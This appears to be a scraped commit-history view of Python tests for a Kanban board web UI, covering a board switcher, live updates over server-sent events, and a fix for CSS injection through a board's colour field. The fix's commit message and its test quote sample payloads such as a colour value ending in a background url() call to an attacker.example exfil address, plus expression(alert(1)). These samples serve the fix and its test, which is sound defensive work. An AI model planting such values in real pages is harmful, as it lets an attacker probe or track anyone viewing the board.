400ms ✓ - 5-task burst: 250ms debounce coalesces to single render ✓ - Rename board via modal: switcher label updates ✓ - Archive board: confirm dialog → board moved to _archived/, no zombie directory (race fix verified) ✓ - Zero JS errors throughout 11-step flow Co-authored-by: ai-ag2026 <ai-ag2026@users.noreply.github.com>
2026-05-05 00:18:36 +00:00
# ── Multi-board switcher UI tests ───────────────────────────────────────────
def test_kanban_board_switcher_markup_in_index():
"""The board switcher next to the Board title must be in index.html so
it loads on first paint without a JS round-trip."""
assert 'id="kanbanBoardSwitcher"' in INDEX
assert 'id="kanbanBoardSwitcherToggle"' in INDEX
assert 'id="kanbanBoardSwitcherMenu"' in INDEX
assert 'id="kanbanBoardSwitcherName"' in INDEX
# Switcher must be hidden by default — only revealed when ≥1 non-default
# board exists, otherwise it would clutter single-board deployments.
assert 'id="kanbanBoardSwitcher"' in INDEX
assert 'hidden>' in INDEX or 'hidden ' in INDEX # presence of hidden attr
def test_kanban_board_modal_markup_in_index():
"""The create/rename board modal lives at the bottom of body so the
fixed-positioned overlay isn't trapped inside any scroll container."""
for sel in (
'id="kanbanBoardModal"',
'id="kanbanBoardModalTitle"',
'id="kanbanBoardModalName"',
'id="kanbanBoardModalSlugInput"',
'id="kanbanBoardModalDesc"',
'id="kanbanBoardModalIcon"',
'id="kanbanBoardModalColor"',
'id="kanbanBoardModalError"',
'id="kanbanBoardModalSubmit"',
):
assert sel in INDEX
# Modal must be hidden by default
assert 'id="kanbanBoardModal" hidden' in INDEX
def test_kanban_board_switcher_handlers_in_panels():
"""Every UI affordance must have a corresponding JS handler."""
for fn in (
"async function loadKanbanBoards",
"function _renderKanbanBoardMenu",
"function toggleKanbanBoardMenu",
"async function switchKanbanBoard",
"function openKanbanCreateBoard",
"function openKanbanRenameBoard",
"function closeKanbanBoardModal",
"async function submitKanbanBoardModal",
"async function archiveKanbanBoard",
):
assert fn in PANELS, f"Missing handler: {fn}"
def test_kanban_board_switcher_calls_correct_endpoints():
"""The switcher must hit the right REST verbs to round-trip with the
bridge's multi-board contract."""
# GET /boards
assert "api('/api/kanban/boards'" in PANELS
# POST /boards (create)
assert "method: 'POST'" in PANELS
# POST /boards/<slug>/switch
assert "/api/kanban/boards/' + encodeURIComponent" in PANELS
assert "/switch'" in PANELS
# PATCH /boards/<slug>
assert "method: 'PATCH'" in PANELS
# DELETE /boards/<slug>
assert "method: 'DELETE'" in PANELS
def test_kanban_board_param_is_plumbed_into_api_calls():
"""Every existing kanban endpoint call must carry ?board=<slug> when
a non-default board is active. The shared helper is _kanbanBoardQuery()."""
assert "_kanbanBoardQuery" in PANELS
# Spot-check critical call sites
assert "/api/kanban/board' + (params.toString()" in PANELS # board with filters
assert "/api/kanban/config' + _kanbanBoardQuery()" in PANELS
assert "/api/kanban/stats' + _kanbanBoardQuery()" in PANELS
assert "/api/kanban/assignees' + _kanbanBoardQuery()" in PANELS
def test_kanban_active_board_persisted_to_localstorage():
"""The last-viewed board slug must persist to localStorage so a refresh
keeps the user on the same board."""
assert "KANBAN_BOARD_LS_KEY" in PANELS
assert "'hermes-kanban-active-board'" in PANELS
assert "_kanbanGetSavedBoard" in PANELS
assert "_kanbanSetSavedBoard" in PANELS
def test_kanban_archive_board_uses_showConfirmDialog():
"""Archive is destructive → must use the styled showConfirmDialog,
not native confirm() (which can't be styled or i18n'd)."""
# The archive path
arch_idx = PANELS.find("async function archiveKanbanBoard")
assert arch_idx > 0
# Look at the next 800 chars
archive_block = PANELS[arch_idx:arch_idx + 800]
assert "showConfirmDialog" in archive_block
assert "danger: true" in archive_block
# ── SSE event stream UI tests ───────────────────────────────────────────────
def test_kanban_sse_eventsource_subscription_is_default():
"""The Kanban panel must subscribe to /api/kanban/events/stream via
EventSource as the default live-update mechanism (the multi-board PR
replaced 30s polling with SSE for ~300ms latency parity with the
agent dashboard's WebSocket /events). 30s polling remains as the
auto-fallback after repeated SSE failures."""
assert "new EventSource" in PANELS
assert "/api/kanban/events/stream" in PANELS
assert "_kanbanStartEventStream" in PANELS
assert "addEventListener('hello'" in PANELS
assert "addEventListener('events'" in PANELS
def test_kanban_sse_falls_back_to_polling_on_repeated_failure():
"""After 3 SSE failures the client must fall back to HTTP polling so
a flaky connection doesn't leave the user with stale data."""
assert "_kanbanEventSourceFailures" in PANELS
assert ">= 3" in PANELS # the failure threshold
assert "setInterval(refreshKanbanEvents" in PANELS # the fallback
def test_kanban_sse_torn_down_on_panel_switch():
"""The long-lived SSE connection must close when the user leaves the
Kanban panel — leaving it open wastes a server thread and a client
connection slot."""
assert "_kanbanStopPolling" in PANELS
# The teardown must be wired into switchPanel
assert "prevPanel === 'kanban'" in PANELS
assert "_kanbanStopPolling()" in PANELS
def test_kanban_sse_refresh_is_debounced():
"""A burst of events shouldn't trigger N reloads — must coalesce."""
assert "_scheduleKanbanRefresh" in PANELS
assert "_kanbanRefreshScheduled" in PANELS
# 250ms debounce window
assert "}, 250)" in PANELS
fix(kanban): block CSS injection via board.color into switcher style `_renderKanbanBoardMenu` interpolates `b.color` into a `style=""` attribute through `esc()`: const colorStyle = b.color ? `color:${esc(b.color)}` : ''; return `<button ...><span ... style="${colorStyle}">...`; `esc()` HTML-escapes (`<`, `>`, `&`, `"`, `'`) which prevents breaking out of the `style=""` attribute, but does NOT prevent CSS-context injection inside it. Neither this bridge nor the agent's `hermes_cli.kanban_db.write_board_metadata` validates `color`, so an authenticated WebUI user (or anyone writing through the CLI / agent dashboard) can set: "color": "red;background:url('http://attacker.example/exfil')" …and the malicious URL will be fetched whenever any user opens the board switcher. Verified with a Node harness against the actual unmodified renderer: INPUT: "red;background:url('http://attacker.example/exfil')" OUTPUT: <span ... style="color:red;background:url(&#39;http://attacker.example/exfil&#39;)"> The single-quote escaping doesn't help — `url(http://x)` works without quotes — and CSS gives the attacker a useful exfil/probe primitive (`background-image:url(...)`, `font-family: url(...)`, `@import`). Frontend-only fix: validate `color` against an allowlist of CSS hex codes (`#rgb`/`#rrggbb`/`#rrggbbaa`) and short alpha-only color names (`red`, `blue`, ...) before interpolating. Anything else collapses to the empty string so the renderer drops the `color:` rule entirely. The agent dashboard plugin doesn't render board.color today, so this match intentionally diverges (stricter) from the cross-tool contract — boards written by the agent CLI with `rgb(...)` / `hsl(...)` colors will just render uncoloured here, never break. Server-side validation is intentionally not added in this fix: - The agent CLI accepts arbitrary `color` strings, so any server-side rejection here would diverge from the cross-tool contract for inputs that are well-formed-but-unusual (e.g. `rgb(255,0,0)`). - The renderer is the trust boundary that actually matters — color values written by other surfaces (CLI, gateway) flow through the same bridge and now get safely degraded at render time. Behavioural harness: 17/17 cases pass (named colors, hex codes accepted; all CSS-injection shapes including `expression(alert(1))`, `;background:`, `url(...)`, malformed hex collapse to ''). Tests: - Added test_kanban_board_color_is_validated_against_css_injection which drives the helper through Node and asserts both renderer-level invariants (helper called, raw `esc(b.color)` interpolation removed). - 64/64 pass in tests/test_kanban_bridge.py + tests/test_kanban_ui_static.py - Full suite: 4297 passed, 57 skipped, 0 failed. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-05 00:28:32 +00:00
def test_kanban_board_color_is_validated_against_css_injection():
"""`board.color` is interpolated into a `style=""` attribute on the
switcher icon. esc() escapes HTML but does NOT prevent CSS-context
injection: an attacker (with WebUI write access, or via the agent CLI
which doesn't validate either) could set color to
`red;background:url('http://attacker/exfil')` and have the malicious
URL fetched whenever any user opens the board switcher.
Drive the helper through Node and assert that named colors / hex
codes are accepted while every CSS-injection shape is rejected.
"""
import json
import subprocess
script = """
const fs = require('fs');
const src = fs.readFileSync('static/panels.js', 'utf8');
const start = src.indexOf('function _kanbanSafeColor');
if (start < 0) { console.error('_kanbanSafeColor missing'); process.exit(2); }
// Grab the function body up to and including the closing `}` line.
const tail = src.slice(start);
const end = tail.indexOf('\\n}\\n') + 2;
const fn = tail.slice(0, end);
const ctx = {};
new Function('out', fn + '; out.fn = _kanbanSafeColor;')(ctx);
const cases = [
['#fff', '#fff'],
['#3b82f6', '#3b82f6'],
['red', 'red'],
['Blue', 'Blue'],
// injection attempts must all collapse to '' so the renderer drops
// the `color:` rule entirely.
["red;background:url('http://attacker/exfil')", ''],
['red;background-image:url(http://x)', ''],
['expression(alert(1))', ''],
['#zzz', ''],
['', ''],
[null, ''],
[undefined, ''],
];
const results = cases.map(([input, expected]) => ({
input, expected, actual: ctx.fn(input)
}));
console.log(JSON.stringify(results));
"""
result = subprocess.run(["node", "-e", script], check=True, capture_output=True, text=True)
results = json.loads(result.stdout)
failures = [r for r in results if r["actual"] != r["expected"]]
assert not failures, f"_kanbanSafeColor mismatches: {failures}"
# The renderer must call the helper, not pass b.color through esc()
# directly into the style attribute.
assert "_kanbanSafeColor(b.color)" in PANELS
assert "color:${esc(b.color)}" not in PANELS